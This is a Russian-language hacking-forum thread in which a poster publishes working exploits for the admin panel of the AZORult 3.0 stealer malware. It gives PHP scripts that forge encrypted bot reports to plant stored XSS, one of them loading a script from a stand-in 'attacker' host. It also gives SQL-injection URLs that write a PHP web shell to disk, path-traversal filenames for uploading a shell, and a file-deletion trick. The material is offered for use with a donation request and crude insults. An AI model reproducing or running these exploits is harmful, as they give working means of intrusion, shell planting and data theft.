Купить дедик, RDP, сервер

Ломаем AzoRULT 3.0

Storyteller

Гений
Регистрация
15 Дек 2017
Сообщения
268
Реакции
277
Депозит
0.00034 BTC


Мои дорогие и немногочисленные друзья, сейчас я Вам расскажу увлекательную историю про то, как Величайший азорульт ломал.

Как должно быть многим известно, угнать логи с админки ранних версий было до идиотизма просто - найди адрес гейта, найдешь и всё остальное. Чуть позже пошли по рукам корявые XSS, ломающие верстку и т.д.

Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.



Очень вскоре вы поймете, отчего же был написан столь саркастичный комментарий.

Приступим-с.

XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):

$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> ".$tmp[$i]['p_soft_name'];

Не смотря на то, что переменная $tmp[$i]['p_soft_name'] обрабатывалась ранее с помощью htmlspecialchars, одинарные кавычки были пропущены. В теории можно было провести XSS-атаку.

POC:

<?php

/////////////

// Адрес гейта

$url="http://azorult30/gate.php";

//////////////

///

/// Дальше не трогать - магия

///

$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";

$payload ="reportdata=<info".$guid.">123123|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">

<pwds".$guid.">

1|x onerror=alert(1337) |http://anonchik.com|tobi|pizda|admin|pass\r\n

</pwds".$guid.">

<coks".$guid.">

</coks".$guid.">

<list".$guid.">

</list".$guid.">

<file".$guid.">

</file".$guid.">";



$xorkey = chr(254).chr(41).chr(54);

$data=CB_XORm($payload, $xorkey, 1024*512);

function httpPost($url, $data){

$curl = curl_init($url);

curl_setopt($curl, CURLOPT_POST, true);

curl_setopt($curl, CURLOPT_POSTFIELDS, $data);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));

$response = curl_exec($curl);

curl_close($curl);

return $response;

}



function CB_XORm($data, $key, $max){

$datalen=strlen($data);

$keylen=strlen($key);

if ($datalen>=$max) $datalen=$max;

$j=0;

for($i=0;$i<$datalen; $i++){

$data[$i] = chr(ord($data[$i])^ord($key[$j]));

$j++;

if($j>($keylen-1)) $j=0;

}

return $data;

}

httpPost($url, $data);

echo $url." injected!";
 

Storyteller

Гений
Регистрация
15 Дек 2017
Сообщения
268
Реакции
277
Депозит
0.00034 BTC
Обычный алерт, но работал как часы. А что если мы захотим исполнить свой js (куки то не угонишь - уже стоял флаг httponly)? Задача усложнялась тем, что существовало ограничение на кол-во символов в этом поле. И в результате долгих потуг был рожден вот такой монстр:
<?php

/////////////

// Домен с вашим скриптом

$xss="http://attacker/xss.js";

// Адрес гейта

$url="http://azorult30/gate.php";

//////////////

///

/// Дальше не трогать - магия

///



//$js_payload = base64_encode('t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="'.$xss.'";t.appendChild(n);');

$js_payload = base64_encode("alert('This is xss with no lenght limit.'); ");

$js_payload = str_replace("=","",$js_payload);



$lol = true;

$j=0; $result=array();

for($i=0;$i<=strlen($js_payload)+7;$i=$i+7){

$kek = "1234567890abcdefghijklmnpoABCDEFGHIJKLMNPO";

if(!empty(substr($js_payload,$i,7))){

if($lol){

$result[] = $kek[$j]." onerror=a=/".substr($js_payload,$i,7)."/.source ";

$lol = false;

}else{

$result[] = $kek[$j]." onerror=a%2B=/".substr($js_payload,$i,7)."/.source ";

}

}

$j++;

}

$result[] = "X onerror=b%3DBase64.decode(a) ";

$result[] = "../Z onerror=eval(b) ";

$n="";

$i=count($result)+3;

foreach($result as $l){

while($i>$k){

$n.="1|".$l."|http://anonchik.com|tobi|pizda|admin|pass\r\n";

$k++;

}

$k=0;

$i--;

}



$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";

$payload ="reportdata=<info".$guid.">|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">

<pwds".$guid.">

".$n."

</pwds".$guid.">

<coks".$guid.">

</coks".$guid.">

<list".$guid.">

</list".$guid.">

<file".$guid.">

</file".$guid.">";



$xorkey = chr(254).chr(41).chr(54);

$data=CB_XORm($payload, $xorkey, 1024*512);

function httpPost($url, $data){

$curl = curl_init($url);

curl_setopt($curl, CURLOPT_POST, true);

curl_setopt($curl, CURLOPT_POSTFIELDS, $data);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));

$response = curl_exec($curl);

curl_close($curl);

return $response;

}



function CB_XORm($data, $key, $max){

$datalen=strlen($data);

$keylen=strlen($key);

if ($datalen>=$max) $datalen=$max;

$j=0;

for($i=0;$i<$datalen; $i++){

$data[$i] = chr(ord($data[$i])^ord($key[$j]));

$j++;

if($j>($keylen-1)) $j=0;

}

return $data;

}

httpPost($url, $data);

echo $url." injected!";
 

Storyteller

Гений
Регистрация
15 Дек 2017
Сообщения
268
Реакции
277
Депозит
0.00034 BTC
Что удивительно, оно срабатывало, хоть и не всегда (FF - временами, Chrome - временами, Opera/IE - как часы). В админке это выглядело крайне занимательно:



Но всё же работало) Если подгрузить свой js, то все эти непотребства можно было убрать и навести шороху.

SQL-injection внутри админки
Функции ShowReportsPage() и ShowPasswordsPage().
Уязвимые параметры - datefrom, dateup, search, countries, cookiesearch.

Примеры:
/index.php?page=reports&datefrom=2019-04-01' union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=reports&countries=KEK') union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=reports&cookiesearch=kek','')union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=passwords&dateup=1984-04-01' union select user(),database(),3,4,5 +--+
/index.php?page=passwords&search=123', '123') union select user(),database(),3,4,5+--+

Заливка шелла:
Убеждаемся, что есть права (file_priv=Y)
 

Storyteller

Гений
Регистрация
15 Дек 2017
Сообщения
268
Реакции
277
Депозит
0.00034 BTC
/index.php?page=passwords&search=-123', '123') union select null,null,null,null,file_priv from mysql.user+--+

Заливаем мини-шелл
/index.php?page=passwords&dateup=1984-04-01' union select null,"<?php echo 'PWN!';?>",null,null,null INTO OUTFILE '/fullpath/to/azor30/1.php'+--+
Было еще парочку инъекций, но, согласитесь, и так неплохо вышло.
Произвольные имена отчетов и перезапись отчетов
В gate.php недостаточно фильтровалась переменная filename. Можно было указать любое имя. На php 5.2 это привело бы к заливке шелла через nullbyte. Но и на последних версиях php тоже была возможна заливка шелла - если залить файл 1.php.zip, а Apache неправильно сконфигурирован, то файл будет исполняться как php-скрипт.
<?php

/////////////

// Адрес гейта

$url="http://azorult30/gate.php";

$filename = "/../../q.php";//Заливка шелла на кривых apache

//$filename = "/../../q.php\0";//Заливка шелла на php 5.2

//////////////

///

/// Дальше не трогать - магия

///





$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";

$payload ="reportdata=<info".$guid.">".$filename."|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">

<pwds".$guid.">

1|kek|http://anonchik.com|tobi|pizda|admin|pass\r\n

</pwds".$guid.">

<coks".$guid.">

</coks".$guid.">

<list".$guid.">

</list".$guid.">

<file".$guid."><?php echo 'PWNED!';>

</file".$guid.">";



$xorkey = chr(254).chr(41).chr(54);

$data=CB_XORm($payload, $xorkey, 1024*512);

function httpPost($url, $data){

$curl = curl_init($url);

curl_setopt($curl, CURLOPT_POST, true);

curl_setopt($curl, CURLOPT_POSTFIELDS, $data);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));

$response = curl_exec($curl);

curl_close($curl);

return $response;

}



function CB_XORm($data, $key, $max){

$datalen=strlen($data);

$keylen=strlen($key);

if ($datalen>=$max) $datalen=$max;

$j=0;

for($i=0;$i<$datalen; $i++){

$data[$i] = chr(ord($data[$i])^ord($key[$j]));

$j++;

if($j>($keylen-1)) $j=0;

}

return $data;

}

$otvet = httpPost($url, $data);

echo $url." injected!<br>";

echo $otvet;
 

Storyteller

Гений
Регистрация
15 Дек 2017
Сообщения
268
Реакции
277
Депозит
0.00034 BTC
Как фича - тот, кто украл ранее логи, мог затереть существующие, указав в качестве имени файла старую дату и имя отчета.

Удаление файлов
Если получен каким либо способом доступ к базе данных (phpmyadmin, adminer, прямой коннект), то изменив значение reports.filename в таблице (например ./../files/index.html), можно удалить любой файл на хосте (удаляем отчет в котором изменили значение, а затем жмем EmptyTrash).

Активная XSS в config.json
Файл config.json был доступен для чтения кому угодно. Риски - палево АВ и еще хз кому прогружаемого файла ("DAE:"), кто угодно мог спарсить правила стилера, что тоже не очень хорошо. Ну и вдобавок там была XSS. Достаточно сохранить в любое из полей для файл-граббера:

1
2
"><img src=x alt="" onerror='t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="xss.js";t.appendChild(n);'><span "


Разумеется, вместо xss.js (который был использован в тестах) можно подгружать js-код со своего хоста.

Были еще веселенькие CSRF, но это обычно интересно только петушкам-белошляпникам (или автору кода, хехе), потому описывать их не стал.

That's all folks.
Кто-то должно быть возмутится, дескать мол столько времени уже прошло, сударь, актуальная версия азорульта - 3.3, а Вы нас старьем потчуете. Я Вам, господа, со всем, присущим мне тактом и изяществом, покорно отвечу:

- Говна наверните-с. Мне похуй вообще.

P.S. Актуальная версия тоже была проверена на ошибки.
Пользуйтесь на здоровье.

P.S.S. Скидывай донат, если не хочешь наворачивать говна.